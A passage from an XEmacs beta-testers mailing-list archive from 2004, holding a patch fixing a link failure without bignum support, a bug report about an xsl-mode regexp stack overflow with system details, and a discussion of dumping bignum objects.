i36CPEF04078 for turnbull@tux.org; Tue, 6 Apr 2004 08:25:14 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i36CPBs04058; Tue, 6 Apr 2004 08:25:11 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BApdZ-00055M-00; Tue, 06 Apr 2004 21:25:05 +0900 To: marcus@crestani.de, Jerry James Cc: XEmacs Beta , xemacs-patches@xemacs.org Subject: [AC21.5] Re: Current CVS link failure - bignums References: <200404061223.15040.marcus@crestani.de> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Tue, 06 Apr 2004 21:25:05 +0900 In-Reply-To: <200404061223.15040.marcus@crestani.de> (Marcus Crestani's message of "Tue, 6 Apr 2004 12:23:15 +0200") Message-ID: <878yh9pa3i.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , APPROVE COMMIT 21.5 Fixes the default build, probably in incorrect style. >>>>> "Marcus" == Marcus Crestani writes: Marcus> Without enabling the bignums, current CVS XEmacs doesn't Marcus> link correctly. See below. A workaround is to use the patch below, or update CVS. Index: src/ChangeLog =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/ChangeLog,v retrieving revision 1.674 diff -u -U0 -r1.674 ChangeLog --- src/ChangeLog 5 Apr 2004 22:49:44 -0000 1.674 +++ src/ChangeLog 6 Apr 2004 12:22:35 -0000 @@ -0,0 +1,4 @@ +2004-04-06 Stephen J. Turnbull + + * lisp.h (Other numeric types): Band-aid: #define make_integer. + Index: src/lisp.h =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/lisp.h,v retrieving revision 1.112 diff -u -r1.112 lisp.h --- src/lisp.h 5 Apr 2004 22:49:54 -0000 1.112 +++ src/lisp.h 6 Apr 2004 12:15:05 -0000 @@ -3381,6 +3381,8 @@ /************************************************************************/ #ifdef WITH_NUMBER_TYPES #include "number.h" +#else +#define make_integer(x) make_int(x) #endif -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Tue Apr 6 12:07:07 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i36G71s29819; Tue, 6 Apr 2004 12:07:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i36G6tW29784 for xemacs-beta-mailman@xemacs.org; Tue, 6 Apr 2004 12:06:55 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i36G6rq29768 for turnbull@tux.org; Tue, 6 Apr 2004 12:06:53 -0400 Received: from moutng.kundenserver.de (moutng.kundenserver.de [212.227.126.184]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i36G6ls29735 for ; Tue, 6 Apr 2004 12:06:47 -0400 Received: from [212.227.126.162] (helo=mrelayng.kundenserver.de) by moutng.kundenserver.de with esmtp (Exim 3.35 #1) id 1BAt66-0000YK-00 for xemacs-beta@xemacs.org; Tue, 06 Apr 2004 18:06:46 +0200 Received: from [80.133.109.105] (helo=reichertnet.de) by mrelayng.kundenserver.de with asmtp (Exim 3.35 #1) id 1BAt65-0008AV-00 for xemacs-beta@xemacs.org; Tue, 06 Apr 2004 18:06:45 +0200 Received: by reichertnet.de (Postfix, from userid 1002) id 028A010020; Tue, 6 Apr 2004 17:06:50 +0200 (CEST) To: XEmacs Beta Subject: [Bug: 21.4.14] xsl-mode error "Stack overflow in regexp matcher" From: Florian Date: Tue, 06 Apr 2004 17:06:50 +0200 Message-ID: <85fzbhb0xh.fsf@gmx.net> User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Reasonable Discussion, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Provags-ID: kundenserver.de abuse@kundenserver.de auth:917e2c55bbee9007633577c152b060ba X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , ================================================================ Dear Bug Team! If ever I execute M-x xsl-mode, or open a xsl file, I get the following error: Signaling: (error "Stack overflow in regexp matcher") As you can see I use a mandrake Version of xemacs, so perhaps the bug report should go to there address. If you need further Information please let me know. I can also provide a back trace ... But I don't know how to send that in a propper way to you .... Regards Florian Reichert ================================================================ System Info to help track down your bug: --------------------------------------- uname -a: Linux ke.mandrakesoft.com 2.4.22-25mdksmp #1 SMP Mon Nov 10 11:08:35 CET 2003 i686 unknown unknown GNU/Linux ../../configure 'i386-mandrake-linux' '--prefix=/usr' '--exec-prefix=/usr' '--package-path=//usr/share/xemacs/' '--datadir=//usr/share' '--mandir=//usr/share/man/man0' '--infodir=//usr/share/info' '--libdir=//usr/lib' '--bindir=//usr/bin' '--infopath=//usr/share/info' '--with-gpm=no' '--with-sound=none' '--with-pop' '--mail-locking=flock' '--with-clash-detection' '--with-scrollbars=lucid' '--with-menubars=lucid' '--with-xpm' '--with-xface' '--with-png' '--with-jpeg' '--with-tiff' '--dynamic=yes' '--with-ncurses' '--without-ldap' '--without-postgresql' '--with-gpm=no' '--with-clash-detection' '--debug=no' '--error-checking=none' '--prefix=/usr' '--exec-prefix=/usr' '--with-x11' '--with-tty=yes' '--with-dialogs=athena' '--with-widgets=athena' '--with-athena=3d' '--with-file-coding' '--with-mule=yes' '--with-xim=xlib' XEmacs 21.4.14 "Reasonable Discussion" configured for `i386-mandrake-linux'. Compilation / Installation: Source code location: /home/warly/rpm/BUILD/xemacs-21.4.14 Installation prefix: /usr Operating system description file: `s/linux.h' Machine description file: `m/intel386.h' Compiler: gcc -O2 -fomit-frame-pointer -pipe -march=i586 -mcpu=pentiumpro Relocating allocator for buffers: no GNU version of malloc: yes - Using Doug Lea's new malloc from the GNU C Library. Window System: Compiling in support for the X window system: - X Windows headers location: /usr/X11R6/include - X Windows libraries location: /usr/X11R6/lib - Handling WM_COMMAND properly. Compiling in support for the Athena widget set: - Athena headers location: X11/Xaw3d - Athena library to link: Xaw3d Using Lucid menubars. Using Lucid scrollbars. Using Athena dialog boxes. Using Athena native widgets. TTY: Compiling in support for ncurses. Images: Compiling in support for GIF images (builtin). Compiling in support for XPM images. Compiling in support for PNG images. Compiling in support for JPEG images. Compiling in support for TIFF images. Compiling in support for X-Face message headers. Sound: Databases: Compiling in support for Berkeley database. Internationalization: Compiling in support for Mule (multi-lingual Emacs). Compiling in support for file coding. Compiling in support for XIM (X11R5+ I18N input method). - Using raw Xlib to provide XIM support. Mail: Compiling in support for POP mail retrieval. Compiling in support for "flock" mail spool file locking method. Other Features: Inhibiting IPv6 canonicalization at startup. Compiling in support for dynamic shared object modules. Using the new portable dumper. Load-Path Lisp Shadows: ---------------------- (//usr/share/xemacs/xemacs-packages/lisp/build/build-report //usr/share/xemacs-21.4.14/lisp/build-report //usr/share/xemacs/xemacs-packages/lisp/python-modes/python-mode /usr/share/emacs/site-lisp/python-mode //usr/share/xemacs/xemacs-packages/lisp/text-modes/po-mode /usr/share/emacs/site-lisp/po-mode //usr/share/xemacs/xemacs-packages/lisp/text-modes/po-compat /usr/share/emacs/site-lisp/po-compat //usr/share/xemacs/xemacs-packages/lisp/prog-modes/rpm-spec-mode /usr/share/emacs/site-lisp/rpm-spec-mode) Installed XEmacs Packages: ------------------------- ((zenirc:version 1.14 :author-version "2.112" :type regular) (xslt-process :version 1.11 :type regular) (xslide :version 1.09 :author-version "0.2.2" :type regular) (xemacs-devel :version 1 .6 :author-version "No-Upstream-Ver " :type single-file) (xemacs-base :version 1.82 :author-version "No-Upstream-Ver" :type regular) (x-symbol :version 1.07 :author-version "4.5.1" :type regular) (w3 :version 1.29 :author-version "4.0pre47" :type regular) (vm :version 7.18 :author-version "7.17" :type regular) (viper :version 1.37 :author-version "3.09" :type regular) (view-process :version 1.13 :author-version "2.4" :type regular) (vhdl :version 1.18 :author-version "3.31.20" :type regular) (vc-cc :version 1.22 :author-version "No-Upstream-Ver" :type regular) (vc :version 1.38 :author-version "No-Upstream-Ver" :type regular) (tramp :version 1.16 :type regular) (tpu :version 1.14 :author-version "4.2X" :type regular) (tooltalk :version 1.15 :author-version "No-Upstream-Ver" :type regular) (tm :version 1.37 :author-version "No-Upstream-Ver" :type regular) (time :version 1.14 :author-version "1.17" :type regular) (textools :version 1.15 :author-version "No-Upstream-Ver" :type regular) (text-modes :version 1 .71 :author-version "No-Upstream-Ver " :type single-file) (texinfo :version 1.25 :author-version "No-Upstream-Ver" :type regular) (supercite :version 1.2 :author-version "3.55x3" :type regular) (strokes :version 1.1 :author-version "No-Upstream-Ver" :type regular) (speedbar :version 1.27 :author-version "0.14beta4" :type regular) (sounds-wav :version 1.12 :author-version "No-Upstream-Ver" :type regular) (sounds-au :version 1.12 :author-version "No-Upstream-Ver" :type regular) (sml-mode :version 0.1 :author-version "3.9.5" :type regular) (slider :version 1.15 :author-version "0.3x1" :type regular) (sieve :version 1.14 :author-version "No-Upstream-Ver" :type regular) (sh-script :version 1.18 :author-version "2.0e" :type regular) (sgml :version 1.1 :author-version "No-Upstream-Ver" :type regular) (semantic :version 1.18 :author-version "1.4.2" :type regular) (scheme :version 1.14 :author-version "No-Upstream-Ver" :type regular) (sasl :version 1.14 :author-version "1.14.4" :type regular) (ruby-modes :version 1.02 :author-version "1.6.8" :type regular) (rmail :version 1.14 :author-version "No-Upstream-Ver" :type regular) (riece :version 1.12 :author-version "0.1.5" :type regular) (reftex :version 1.33 :author-version "4.21" :type regular) (python-modes :version 1 .03 :author-version "No-Upstream-Ver " :type single-file) (psgml-dtds :version 1.03 :author-version "No-Upstream-Ver" :type regular) (psgml :version 1.41 :type regular) (ps-print :version 1.07 :type regular) (prog-modes :version 1 .91 :author-version "No-Upstream-Ver " :type single-file) (pgg :version 1.04 :author-version "0.1" :type regular) (perl-modes :version 1 .05 :author-version "No-Upstream-Ver " :type single-file) (pcomplete :version 1.03 :author-version "1.1.6" :type regular) (pcl-cvs :version 1.65 :author-version "R-2_9_9" :type regular) (pc :version 1.26 :author-version "No-Upstream-Ver" :type single-file) (os-utils :version 1.34 :author-version "No-Upstream-Ver" :type single-file) (oo-browser :version 1.04 :author-version "4.08" :type regular) (ocaml :version 0.05 :author-version "3.06" :type regular) (net-utils :version 1 .33 :author-version "No-Upstream-Ver " :type single-file) (mmm-mode :version 1.01 :author-version "0.4.7" :type regular) (misc-games :version 1 .18 :author-version "No-Upstream-Ver " :type single-file) (mine :version 1.16 :author-version "1.9" :type regular) (mh-e :version 1.27 :author-version "7.4.2" :type regular) (mew :version 1.18 :author-version "1.94.2" :type regular) (mailcrypt :version 2.13 :author-version "3.5.8" :type regular) (mail-lib :version 1.63 :author-version "No-Upstream-Ver" :type regular) (liece :version 1.12 :type regular) (jde :version 1.46 :type regular) (ispell :version 1.26 :author-version "3.3" :type regular) (ilisp :version 1.33 :author-version "5.12.0" :type regular) (igrep :version 1.12 :author-version "2.95" :type regular) (idlwave :version 1.31 :author-version "5.1" :type regular) (ibuffer :version 1.09 :author-version "No-Upstream-Ver" :type regular) (hyperbole :version 1.13 :author-version "4.18" :type regular) (hm--html-menus :version 1.23 :author-version "5.9" :type regular) (haskell-mode :version 1.06 :author-version "1.44" :type regular) (gnus :version 1.73 :type regular) (gnats :version 1.16 :author-version "3.101" :type regular) (games :version 1.15 :author-version "1.04" :type regular) (fsf-compat :version 1 .13 :author-version "No-Upstream-Ver " :type single-file) (frame-icon :version 1.11 :author-version "No-Upstream-Ver" :type regular) (fortran-modes :version 1 .03 :author-version "No-Upstream-Ver " :type single-file) (forms :version 1.15 :author-version "2.37" :type regular) (footnote :version 1.16 :author-version "0.18x" :type regular) (eudc :version 1.39 :author-version "1.32" :type regular) (eterm :version 1.15 :author-version "No-Upstream-Ver" :type regular) (ess :version 1.06 :author-version "5.1.21" :type regular) (eshell :version 1.06 :author-version "2.4.1" :type regular) (emerge :version 1.11 :author-version "No-Upstream-Ver" :type regular) (elib :version 1.11 :author-version "1.0" :type single-file) (eieio :version 1.05 :author-version "0.17" :type regular) (efs :version 1.32 :author-version "1.22" :type regular) (edt :version 1.13 :author-version "No-Upstream-Ver" :type regular) (edit-utils :version 2 .1 :author-version "No-Upstream-Ver " :type single-file) (ediff :version 1.49 :author-version "2.75" :type regular) (edebug :version 1.2 :author-version "No-Upstream-Ver" :type regular) (ecrypto :version 0.14 :author-version "2.0" :type regular) (ecb :version 1.13 :author-version "1.96" :type regular) (docbookide :version 0 .07000000000000001 :author-version "0 .1 " :type regular) (dired :version 1.15 :author-version "7.11" :type regular) (dictionary :version 1.12 :type regular) (debug :version 1.17 :author-version "No-Upstream-Ver" :type regular) (crisp :version 1.14 :author-version "1.34" :type regular) (cookie :version 1.15 :author-version "No-Upstream-Ver" :type regular) (clearcase :version 1.08 :author-version "No-Upstream-Ver" :type regular) (cc-mode :version 1.41 :author-version "5.30.7" :type regular) (calendar :version 1.22 :author-version "No-Upstream-Ver" :type regular) (calc :version 1.24 :author-version "2.02fX3" :type regular) (c-support :version 1 .18 :author-version "No-Upstream-Ver " :type single-file) (build :version 1.14 :author-version "2.02" :type regular) (bbdb :version 1.24 :author-version "2.34" :type regular) (auctex :version 1.35 :type regular) (apel :version 1.27 :author-version "10.2" :type regular) (ada :version 1.14 :author-version "2.27" :type regular) (skk :version 1.23 :type regular) (mule-ucs :version 1.05 :author-version "0.84" :type regular) (mule-base :version 1.44 :author-version "No-Upstream-Ver" :type regular) (lookup :version 1.14 :author-version "1.0" :type regular) (locale :version 1.21 :author-version "No-Upstream-Ver" :type regular) (leim :version 1.22 :author-version "No-Upstream-Ver" :type regular) (latin-unity :version 1.09 :author-version "1.09" :type regular) (egg-its :version 1.27 :author-version "No-Upstream-Ver" :type regular) (edict :version 1.16 :author-version "0.9.9" :type regular)) Installed Modules: ----------------- Features: -------- (overlay flyspell efs-cu mail-extr gnus-msg gnus-art mm-uu mml2015 pgg pgg-parse pgg-def mm-view gnus-sum nnoo gnus-group gnus-undo nnmail mail-source format-spec gnus-start gnus-spec gnus-int gnus-range gnus-win message mml mml-sec mml-smime smime dig mm-decode mm-bodies mm-encode mailcap lpr mail-parse rfc2045 rfc2231 rfc2047 qp ietf-drums mail-abbrevs mailheader canlock gnus gnus-ems gnus-xmas messagexmas nnheader nnheaderxm gnus-util netrc time-date parse-time mail-utils mm-util mail-prsvr wid-edit xemacsbug shadow sendmail debug regexp-opt xslide-abbrev xslide-data tags etags imenu compile xslide mailcrypt rfc822 comint ring bbdb timezone ispell tex-site font-lock cus-face zenirc-autoloads xslt-process-autoloads xslide-autoloads xemacs-devel-autoloads xemacs-base-autoloads x-symbol-autoloads w3-autoloads vm-autoloads viper-autoloads view-process-autoloads vhdl-autoloads vc-cc-autoloads vc-autoloads tramp-autoloads tpu-autoloads tooltalk-autoloads tm-autoloads time-autoloads textools-autoloads text-modes-autoloads texinfo-autoloads supercite-autoloads strokes-autoloads speedbar-autoloads sounds-wav-autoloads sounds-au-autoloads sml-mode-autoloads slider-autoloads sieve-autoloads sh-script-autoloads sgml-autoloads semantic-autoloads scheme-autoloads sasl-autoloads ruby-modes-autoloads rmail-autoloads riece-autoloads reftex-autoloads python-modes-autoloads psgml-dtds-autoloads psgml-autoloads ps-print-autoloads prog-modes-autoloads pgg-autoloads perl-modes-autoloads pcomplete-autoloads pcl-cvs-autoloads pc-autoloads os-utils-autoloads oo-browser-autoloads ocaml-autoloads net-utils-autoloads mmm-mode-autoloads misc-games-autoloads mine-autoloads mh-e-autoloads mew-autoloads mailcrypt-autoloads mail-lib-autoloads liece-autoloads jde-autoloads ispell-autoloads ilisp-autoloads igrep-autoloads idlwave-autoloads ibuffer-autoloads hyperbole-autoloads hm--html-menus-autoloads haskell-mode-autoloads gnus-autoloads gnats-autoloads games-autoloads fsf-compat-autoloads frame-icon-autoloads fortran-modes-autoloads forms-autoloads footnote-autoloads eudc-autoloads eterm-autoloads ess-autoloads eshell-autoloads emerge-autoloads elib-autoloads eieio-autoloads efs-autoloads edt-autoloads edit-utils-autoloads ediff-autoloads edebug-autoloads ecrypto-autoloads ecb-autoloads docbookide-autoloads dired-autoloads dictionary-autoloads debug-autoloads crisp-autoloads cookie-autoloads clearcase-autoloads cc-mode-autoloads calendar-autoloads calc-autoloads c-support-autoloads build-autoloads bbdb-autoloads auctex-autoloads apel-autoloads ada-autoloads skk-autoloads mule-ucs-autoloads mule-base-autoloads lookup-autoloads locale-autoloads leim-autoloads latin-unity-autoloads egg-its-autoloads edict-autoloads lisp-autoloads loadhist auto-show fontl-hooks x-iso8859-1 slovenian czech romanian ccl mule-help code-cmds gutter-items menubar-items x-menubar mode-motion mouse itimer auto-save lisp-mode easymenu iso8859-1 page buff-menu lib-complete cus-file derived frame text-props obsolete cus-start custom widget cl-extra mini-cl cl cl-19 packages backquote very-early-lisp file-coding mule lucid-scrollbars cut-buffer lucid-menubars athena-dialogs x c-balloon-help tty-frames tty toolbar scrollbar unix-processes multicast network-streams subprocesses modules menu-accelerator-support menubar berkeley-db md5 xemacs xim gutter tiff png gif jpeg xface xpm xbm lisp-float-type linux dialog devices window-system base64) Recent keystrokes: ----------------- M-x x s l - m o d e RET button1 button1up button1 button1up M-x r e p o TAB TAB r t TAB TAB x m BS TAB RET Recent messages (most recent first): ----------------------------------- Loading overlay... Starting new Ispell process... (Next local Ispell command will use deutsch8 dictionary) (Next local Ispell command will use deutsch8 dictionary) Loading flyspell...done Loading flyspell... Loading efs-cu...done Loading efs-cu... Loading mail-extr...done Loading mail-extr... Loading gnus-msg...done Loading gnus-xmas...done Loading gnus-xmas... Loading gnus-msg... Loading xemacsbug...done Loading xemacsbug... Making completion list... Making completion list... Entering debugger... Loading debug...done From xemacs-beta-admin@xemacs.org Tue Apr 6 12:36:23 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i36GZ1s04716; Tue, 6 Apr 2004 12:35:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i36GYIM04571 for xemacs-beta-mailman@xemacs.org; Tue, 6 Apr 2004 12:34:18 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i36GYHF04561 for turnbull@tux.org; Tue, 6 Apr 2004 12:34:17 -0400 Received: from mxout2.iskon.hr (mxout2.iskon.hr [213.191.128.16]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i36GYHs04554 for ; Tue, 6 Apr 2004 12:34:17 -0400 Received: (qmail 4409 invoked from network); 6 Apr 2004 18:34:14 +0200 X-Remote-IP: 213.191.128.14 Received: from mx.iskon.hr (qmailr@213.191.128.14) by mxout2.iskon.hr with SMTP; 6 Apr 2004 18:34:14 +0200 Received: (qmail 8593 invoked from network); 6 Apr 2004 18:34:13 +0200 X-Remote-IP: 213.191.139.219 Received: from hniksic.iskon.hr (213.191.139.219) by mx.iskon.hr with SMTP; 6 Apr 2004 18:34:13 +0200 To: Jerry James cc: xemacs-beta@xemacs.org Subject: Re: [S21.5] Add bignums to FAQ References: <87zn9pppq5.fsf@tleepslib.sk.tsukuba.ac.jp> From: Hrvoje Niksic Date: Tue, 06 Apr 2004 18:35:23 +0200 In-Reply-To: (Jerry James's message of "Tue, 06 Apr 2004 09:52:44 -0500") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Rational FORTRAN, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Jerry James writes: > Major problem: bignums, ratios, and bigfloats cannot currently be > dumped. I do not know how to fix that. Suggestions are welcome. Why not dump their string representation and recreate them from it in the "fixup" stage of the dumper? Many complex objects, such as hash tables, go through a similar routine to reinvent themselves after the dumping. > Even having solved that, with what precision do you want to > represent e, pi, etc.? You have an infinite number of choices, > after all. Using bigfloats for those is probably not much of a win. From xemacs-beta-admin@xemacs.org Tue Apr 6 12:56:24 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i36Gt2s09759; Tue, 6 Apr 2004 12:55:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i36GsHS09577 for xemacs-beta-mailman@xemacs.org; Tue, 6 Apr 2004 12:54:17 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i36GsGH09566 for turnbull@tux.org; Tue, 6 Apr 2004 12:54:16 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i36GsFs09560 for ; Tue, 6 Apr 2004 12:54:16 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BAtpx-0000WW-00; Wed, 07 Apr 2004 01:54:09 +0900 To: Florian Cc: XEmacs Beta Subject: Re: [Bug: 21.4.14] xsl-mode error "Stack overflow in regexp matcher" References: <85fzbhb0xh.fsf@gmx.net> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Wed, 07 Apr 2004 01:54:09 +0900 In-Reply-To: <85fzbhb0xh.fsf@gmx.net> (Florian's message of "Tue, 06 Apr 2004 17:06:50 +0200") Message-ID: <87vfkdnj2m.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Florian" == Florian writes: Florian> If you need further Information please let me know. I can Florian> also provide a back trace ... But I don't know how to Florian> send that in a propper way to you .... I have not been able to reproduce the behavior, and without a backtrace can do no more. Set debug-on-error to t, elicit the bug, get the contents of the buffer that pops up, and send them in an ordinary email (preferably as a reply to this thread) or in a bug report. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Tue Apr 6 12:58:21 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i36Guxs10161; Tue, 6 Apr 2004 12:56:59 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i36GtDT09809 for xemacs-beta-mailman@xemacs.org; Tue, 6 Apr 2004 12:55:13 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i36GtC009799 for turnbull@tux.org; Tue, 6 Apr 2004 12:55:12 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i36GtCs09791; Tue, 6 Apr 2004 12:55:12 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i36GswDu002274; Tue, 6 Apr 2004 11:54:58 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i36GsvHS003892; Tue, 6 Apr 2004 11:54:57 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i36Gsvl4003887; Tue, 6 Apr 2004 11:54:57 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: Hrvoje Niksic Cc: XEmacs Beta Subject: Re: [S21.5] Add bignums to FAQ References: <87zn9pppq5.fsf@tleepslib.sk.tsukuba.ac.jp> From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Tue, 06 Apr 2004 11:54:57 -0500 In-Reply-To: (Hrvoje Niksic's message of "Tue, 06 Apr 2004 18:35:23 +0200") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hrvoje Niksic wrote: > Jerry James writes: > >> Major problem: bignums, ratios, and bigfloats cannot currently be >> dumped. I do not know how to fix that. Suggestions are welcome. > > Why not dump their string representation and recreate them from it in > the "fixup" stage of the dumper? Many complex objects, such as hash > tables, go through a similar routine to reinvent themselves after the > dumping. I'm so ignorant when it comes to dumping that I didn't even know that was possible. Okay, it sounds plausible, but I don't know how to do it. Can you give me a (preferably gentle) boost in the right direction? Okay, I looked through elhash.c. The memory_descriptions were unenlightening. Does pdump_reorganize_hash_table have something to do with this? -- Jerry James http://www.ittc.ku.edu/~james/ From xemacs-beta-admin@xemacs.org Tue Apr 6 13:55:23 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i36Hs1s24710; Tue, 6 Apr 2004 13:54:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i36Hru624683 for xemacs-beta-mailman@xemacs.org; Tue, 6 Apr 2004 13:53:56 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i36Hrsi24672 for turnbull@tux.org; Tue, 6 Apr 2004 13:53:54 -0400 Received: from mail.gmx.net (pop.gmx.de [213.165.64.20]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i36Hrqs24651 for ; Tue, 6 Apr 2004 13:53:52 -0400 Received: (qmail 29647 invoked by uid 65534); 6 Apr 2004 17:53:50 -0000 Received: from p5085713E.dip0.t-ipconnect.de (EHLO authmail.onlinehome.de) (80.133.113.62) by mail.gmx.net (mp021) with SMTP; 06 Apr 2004 19:53:50 +0200 X-Authenticated: #263190 Date: Tue, 06 Apr 2004 18:54:01 +0200 To: "XEmacs Beta" Subject: Re: [Bug: 21.4.14] xsl-mode error "Stack overflow in regexp matcher" References: <85fzbhb0xh.fsf@gmx.net> <87vfkdnj2m.fsf@tleepslib.sk.tsukuba.ac.jp> From: "Florian Reichert" Content-Type: text/plain; format=flowed; delsp=yes; charset=iso-8859-1 MIME-Version: 1.0 Message-ID: In-Reply-To: <87vfkdnj2m.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Opera M2/7.50 (Linux, build 615) Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from Quoted-Printable to 8bit by gwyn.tux.org id i36Hrqs24651 X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hello! And Thanks for aour support! Ok! Here is the requested back trace.... On Wed, 07 Apr 2004 01:54:09 +0900, Stephen J. Turnbull wrote: >>>>>> "Florian" == 